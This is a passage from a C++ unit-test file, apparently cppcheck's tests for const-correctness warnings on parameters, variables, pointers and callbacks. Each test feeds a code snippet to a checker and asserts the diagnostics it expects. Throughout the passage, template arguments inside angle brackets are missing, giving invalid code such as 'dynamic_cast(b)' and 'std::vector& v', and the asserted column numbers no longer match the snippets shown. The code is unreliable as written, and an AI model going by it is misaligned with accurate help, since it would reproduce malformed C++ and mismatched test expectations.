v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : 